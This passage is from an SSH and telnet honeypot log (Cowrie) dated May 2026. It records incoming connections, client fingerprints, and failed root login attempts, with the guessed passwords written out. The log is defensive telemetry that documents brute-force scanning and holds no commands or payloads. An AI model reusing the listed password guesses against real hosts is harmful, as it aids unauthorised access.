2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:21:45.872766Z","src_ip":"193.37.70.224","session":"96807eb52be7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"buster","message":"login attempt [root/buster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:21:46.444507Z","src_ip":"193.37.70.224","session":"96807eb52be7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":33124,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e180ea6a9e2","protocol":"ssh","message":"New connection: 103.183.114.55:33124 (10.17.0.5:22) [session: 0e180ea6a9e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:21:46.499771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:21:46.503525Z","src_ip":"103.183.114.55","session":"0e180ea6a9e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:21:46.735731Z","src_ip":"103.183.114.55","session":"0e180ea6a9e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anton123","message":"login attempt [root/anton123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:21:47.437868Z","src_ip":"103.183.114.55","session":"0e180ea6a9e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:21:47.833510Z","src_ip":"193.37.70.224","session":"96807eb52be7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:21:48.680639Z","src_ip":"103.183.114.55","session":"0e180ea6a9e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":43020,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc557c1e2021","protocol":"ssh","message":"New connection: 103.75.182.198:43020 (10.17.0.5:22) [session: dc557c1e2021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:00.478664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:00.483877Z","src_ip":"103.75.182.198","session":"dc557c1e2021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:00.729532Z","src_ip":"103.75.182.198","session":"dc557c1e2021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxx111","message":"login attempt [root/xxx111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:01.466426Z","src_ip":"103.75.182.198","session":"dc557c1e2021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.38","src_port":55226,"dst_ip":"10.17.0.5","dst_port":22,"session":"60b6852af8f6","protocol":"ssh","message":"New connection: 31.57.216.38:55226 (10.17.0.5:22) [session: 60b6852af8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:01.556634Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:01.562281Z","src_ip":"31.57.216.38","session":"60b6852af8f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.38","src_port":55238,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b71fb00ad30","protocol":"ssh","message":"New connection: 31.57.216.38:55238 (10.17.0.5:22) [session: 9b71fb00ad30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:01.668725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:01.678592Z","src_ip":"31.57.216.38","session":"9b71fb00ad30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:01.783465Z","src_ip":"31.57.216.38","session":"9b71fb00ad30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fa","message":"login attempt [root/fa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:02.136907Z","src_ip":"31.57.216.38","session":"9b71fb00ad30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:02.715433Z","src_ip":"103.75.182.198","session":"dc557c1e2021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:03.249821Z","src_ip":"31.57.216.38","session":"9b71fb00ad30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":37912,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f0817a1e5ba","protocol":"ssh","message":"New connection: 103.172.78.219:37912 (10.17.0.5:22) [session: 8f0817a1e5ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:09.583012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:09.587627Z","src_ip":"103.172.78.219","session":"8f0817a1e5ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:09.851858Z","src_ip":"103.172.78.219","session":"8f0817a1e5ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"y123456","message":"login attempt [root/y123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:10.643893Z","src_ip":"103.172.78.219","session":"8f0817a1e5ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:11.922162Z","src_ip":"103.172.78.219","session":"8f0817a1e5ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":17296,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b0aaf63f243","protocol":"ssh","message":"New connection: 194.59.206.2:17296 (159.203.135.109:22) [session: 6b0aaf63f243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:16.082758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:16.094658Z","src_ip":"194.59.206.2","session":"6b0aaf63f243","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:16.181741Z","src_ip":"194.59.206.2","session":"6b0aaf63f243","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:16.275568Z","src_ip":"194.59.206.2","session":"6b0aaf63f243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42078,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c3846a0fe5d","protocol":"telnet","message":"New connection: 152.42.224.71:42078 (10.17.0.5:23) [session: 8c3846a0fe5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:22.393790Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50198,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7faa29f421f","protocol":"telnet","message":"New connection: 152.42.224.71:50198 (10.17.0.5:23) [session: d7faa29f421f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:40.142090Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":51780,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cb8274791af","protocol":"ssh","message":"New connection: 80.66.85.226:51780 (10.17.0.5:22) [session: 1cb8274791af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:42.380777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:42.385056Z","src_ip":"80.66.85.226","session":"1cb8274791af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:42.477396Z","src_ip":"80.66.85.226","session":"1cb8274791af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alenka","message":"login attempt [root/alenka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:42.756306Z","src_ip":"80.66.85.226","session":"1cb8274791af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:43.850620Z","src_ip":"80.66.85.226","session":"1cb8274791af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00404119491577,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:22:49.277143Z","src_ip":"72.74.45.4","session":"f678d7b26ab7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41890,"dst_ip":"10.17.0.5","dst_port":22,"session":"13a11f84e6e1","protocol":"ssh","message":"New connection: 80.94.92.184:41890 (10.17.0.5:22) [session: 13a11f84e6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:05.048594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:05.149117Z","src_ip":"80.94.92.184","session":"13a11f84e6e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:05.292064Z","src_ip":"80.94.92.184","session":"13a11f84e6e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567890","message":"login attempt [solv/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:06.043720Z","src_ip":"80.94.92.184","session":"13a11f84e6e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:07.283318Z","src_ip":"80.94.92.184","session":"13a11f84e6e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49682,"dst_ip":"10.17.0.5","dst_port":23,"session":"69bcd8584e28","protocol":"telnet","message":"New connection: 152.42.224.71:49682 (10.17.0.5:23) [session: 69bcd8584e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:13.021208Z"}
{"eventid":"cowrie.session.closed","duration":57.75412845611572,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:20.147815Z","src_ip":"152.42.224.71","session":"8c3846a0fe5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.79384207725525,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:33.935796Z","src_ip":"152.42.224.71","session":"d7faa29f421f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:35.540026Z","src_ip":"176.32.39.21","session":"4c678cd2bbbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":52606,"dst_ip":"10.17.0.5","dst_port":22,"session":"78ad055621b6","protocol":"ssh","message":"New connection: 62.133.63.178:52606 (10.17.0.5:22) [session: 78ad055621b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:23:35.593905Z"}
